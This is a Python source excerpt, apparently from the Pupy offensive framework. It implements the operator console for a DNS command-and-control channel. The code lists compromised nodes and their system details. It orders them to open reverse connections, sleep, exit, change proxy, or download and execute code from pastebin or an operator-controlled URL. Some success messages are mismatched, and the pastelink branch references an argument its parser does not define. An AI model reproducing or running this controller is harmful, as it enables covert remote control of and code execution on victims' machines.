'DNSCNC commands'

def do_dnscnc(self, arg):

    if (not self.dnscnc):
        self.display_error('DNSCNC    disabled')
        return
    arg_parser = PupyArgumentParser(prog='dnscnc', description=self.do_dnscnc.__doc__)
    arg_parser.add_argument('-n', '--node', help='Send    command    only    to    this    node    (or    session)')
    arg_parser.add_argument('-d', '--default', action='store_true', default=False, help='Set    command    as    default    for    new    connections')
    commands = arg_parser.add_subparsers(title='commands', dest='command')
    status = commands.add_parser('status', help='DNSCNC    status')
    clist = commands.add_parser('list', help='List    known    DNSCNC    clients')
    info = commands.add_parser('info', help='List    known    DNSCNC    clients    system    status')
    policy = commands.add_parser('set', help='Change    policy    (polling,    timeout)')
    policy.add_argument('-p', '--poll', help='Set    poll    interval', type=int)
    policy.add_argument('-k', '--kex', type=bool, help='Enable    KEX')
    policy.add_argument('-t', '--timeout', type=int, help='Set    session    timeout')
    connect = commands.add_parser('connect', help='Request    reverse    connection')
    connect.add_argument('-c', '--host', help='Manually    specify    external    IP    address    for    connection')
    connect.add_argument('-p', '--port', help='Manually    specify    external    PORT    for    connection')
    connect.add_argument('-t', '--transport', help='Manually    specify    transport    for    connection')
    reset = commands.add_parser('reset', help='Reset    scheduled    commands')
    disconnect = commands.add_parser('disconnect', help='Request    disconnection')
    reexec = commands.add_parser('reexec', help='Try    to    reexec    module')
    sleep = commands.add_parser('sleep', help='Postpone    any    activity')
    sleep.add_argument('-t', '--timeout', default=10, type=int, help='Timeout    (seconds)')
    pastelink = commands.add_parser('pastelink', help='Execute    code    by    link    to    pastebin    service')
    pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec', help='Action    -    execute    as    executable,    or    evaluate    as    python/sh    code')
    pastelink_src = pastelink.add_mutually_exclusive_group(required=True)
    pastelink_src.add_argument('-c', '--create', help='Create    new    pastelink    from    file')
    pastelink_src.add_argument('-u', '--url', help='Specify    existing    URL')
    dexec = commands.add_parser('dexec', help='Execute    code    by    link    to    service    controlled    by    you')
    dexec.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec', help='Action    -    execute    as    executable,    or    evaluate    as    python/sh    code')
    dexec.add_argument('-u', '--url', required=True, help='URL    to    data')
    dexec.add_argument('-p', '--proxy', action='store_true', default=False, help='Ask    to    use    system    proxy    (http/https    only)')
    proxy = commands.add_parser('proxy', help='Set    connection    proxy')
    proxy.add_argument('uri', help='URI.    Example:    http://user:password@192.168.0.1:3128    or    none')
    exit = commands.add_parser('exit', help='Request    exit')
    try:
        args = arg_parser.parse_args(shlex.split(arg))
    except PupyModuleExit:
        return
    if (args.command == 'status'):
        policy = self.dnscnc.policy
        objects = {'DOMAIN': self.dnscnc.dns_domain, 'DNS    PORT': str(self.dnscnc.dns_port), 'TRANSPORT': self.dnscnc.transport, 'IP': ',    '.join(self.dnscnc.host), 'PORT': str(self.dnscnc.port), 'RECURSOR': self.dnscnc.dns_recursor, 'LISTEN': str(self.dnscnc.dns_listen), 'SESSIONS': 'TOTAL={}    DIRTY={}'.format(self.dnscnc.count, self.dnscnc.dirty), 'POLL': '{}s'.format(policy['interval']), 'TIMEOUT': '{}s'.format(policy['timeout']), 'KEX': '{}'.format(bool(policy['kex']))}
        self.display(PupyCmd.table_format([{'PROPERTY': k, 'VALUE': v} for (k, v) in objects.iteritems()]))
        if self.dnscnc.commands:
            self.display(('\nDEFAULT    COMMANDS:\n' + '\n'.join(['{:03d}    {}'.format(i, cmd) for (i, cmd) in enumerate(self.dnscnc.commands)])))
    elif (args.command == 'info'):
        sessions = self.dnscnc.list(args.node)
        if (not sessions):
            self.display_success('No    active    DNSCNC    sesisons    found')
            return
        objects = []
        for (idx, session) in enumerate(sessions):
            if (not (session.system_status and session.system_info)):
                continue
            object = {'#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'IP': (session.system_info['external_ip'] or '?'), 'OS': '{}/{}'.format(session.system_info['os'], session.system_info['arch']), 'CPU': '{:d}%'.format(session.system_status['cpu']), 'MEM': '{:d}%'.format(session.system_status['mem']), 'LIS': '{:d}'.format(session.system_status['listen']), 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), 'TAGS': '{}'.format(self.config.tags(session.system_info['node']))}
            pupy_session = None
            for c in self.pupsrv.clients:
                if ('spi' in c.desc):
                    if (c.desc['spi'] == '{:08x}'.format(session.spi)):
                        pupy_session = c.desc['id']
                elif (c.node() == '{:012x}'.format(session.system_info['node'])):
                    pupy_session = c.desc['id']
                    break
            color = ''
            if pupy_session:
                object.update({'P': pupy_session})
                color = 'lightgreen'
            elif (not session.system_status['idle']):
                color = 'lightyellow'
            elif ((session.system_status['cpu'] > 90) or (session.system_status['mem'] > 90)):
                color = 'lightred'
            if color:
                object = {k: colorize(v, color) for (k, v) in object.iteritems()}
            objects.append(object)
        columns = ['#', 'P', 'NODE', 'SESSION', 'IP', 'OS', 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS']
        self.display(PupyCmd.table_format(objects, wl=columns))
    elif (args.command == 'list'):
        sessions = self.dnscnc.list(args.node)
        if (not sessions):
            self.display_success('No    active    DNSCNC    sesisons    found')
            return
        objects = []
        for (idx, session) in enumerate(sessions):
            object = {'#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EXTERNAL    IP': '{}'.format((session.system_info['external_ip'] or '?')), 'ONLINE': '{}'.format(('Y' if session.system_info['internet'] else 'N')), 'IDLE': '{}s'.format(session.idle), 'DURATION': '{}s'.format(session.duration), 'OS': '{}/{}'.format(session.system_info['os'], session.system_info['arch']), 'BOOTED': '{}s'.format((session.system_info['boottime'].ctime() if session.system_info['boottime'] else '?')), 'CMDS': '{}'.format(len(session.commands))}
            pupy_session = None
            for c in self.pupsrv.clients:
                if ('spi' in c.desc):
                    if (c.desc['spi'] == '{:08x}'.format(session.spi)):
                        pupy_session = c.desc['id']
                elif (c.node() == '{:012x}'.format(session.system_info['node'])):
                    pupy_session = c.desc['id']
                    break
            color = None
            if pupy_session:
                object.update({'P': pupy_session})
                color = 'lightgreen'
            elif (session.idle > self.dnscnc.policy['interval']):
                color = 'grey'
            elif (not session.system_info['internet']):
                color = 'lightred'
            elif (len(session.commands) > 0):
                color = 'yellow'
            if color:
                object = {k: colorize(v, color) for (k, v) in object.iteritems()}
            objects.append(object)
        columns = ['#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL    IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS']
        self.display(PupyCmd.table_format(objects, wl=columns))
    elif (args.command == 'set'):
        if all([(x is None) for x in [args.kex, args.timeout, args.poll]]):
            self.display_error('No    arguments    provided.')
        else:
            count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll, node=args.node)
            if count:
                self.display_success('Apply    policy    to    {}    known    nodes'.format(count))
    elif (args.command == 'reset'):
        count = self.dnscnc.reset(session=args.node, default=args.default)
        if count:
            self.display_success('Reset    commands    on    {}    known    nodes'.format(count))
        elif args.node:
            self.display_error('Node    {}    not    found'.format(args.node))
    elif (args.command == 'connect'):
        count = self.dnscnc.connect(host=args.host, port=args.port, transport=args.transport, node=args.node, default=args.default)
        if count:
            self.display_success('Schedule    connect    {}    known    nodes'.format(count))
        elif args.node:
            self.display_error('Node    {}    not    found'.format(args.node))
    elif (args.command == 'disconnect'):
        count = self.dnscnc.disconnect(node=args.node, default=args.default)
        if count:
            self.display_success('Schedule    disconnect    to    {}    known    nodes'.format(count))
        elif args.node:
            self.display_error('Node    {}    not    found'.format(args.node))
    elif (args.command == 'exit'):
        count = self.dnscnc.exit(node=args.node, default=args.default)
        if count:
            self.display_success('Schedule    exit    to    {}    known    nodes'.format(count))
        elif args.node:
            self.display_error('Node    {}    not    found'.format(args.node))
    elif (args.command == 'reexec'):
        count = self.dnscnc.reexec(node=args.node, default=args.default)
        if count:
            self.display_success('Schedule    reexec    to    {}    known    nodes'.format(count))
        elif args.node:
            self.display_error('Node    {}    not    found'.format(args.node))
    elif (args.command == 'sleep'):
        count = self.dnscnc.sleep(args.timeout, node=args.node, default=args.default)
        if count:
            self.display_success('Schedule    sleep    to    {}    known    nodes'.format(count))
        elif args.node:
            self.display_error('Node    {}    not    found'.format(args.node))
    elif (args.command == 'proxy'):
        count = self.dnscnc.proxy(args.uri, node=args.node, default=args.default)
        if count:
            self.display_success('Schedule    sleep    to    {}    known    nodes'.format(count))
        elif args.node:
            self.display_error('Node    {}    not    found'.format(args.node))
    elif (args.command == 'dexec'):
        count = self.dnscnc.dexec(args.url, args.action, proxy=args.proxy, node=args.node, default=args.default)
        if count:
            self.display_success('Schedule    sleep    to    {}    known    nodes'.format(count))
        elif args.node:
            self.display_error('Node    {}    not    found'.format(args.node))
    elif (args.command == 'pastelink'):
        try:
            (count, url) = self.dnscnc.pastelink(args.url, args.action, proxy=args.proxy, node=args.node, default=args.default)
            self.display_success('URL:    {}'.format(url))
            if count:
                self.display_success('Schedule    exit    to    {}    known    nodes'.format(count))
            elif args.node:
                self.display_error('Node    {}    not    found'.format(args.node))
        except ValueError as e:
            self.display_error('{}'.format(e))
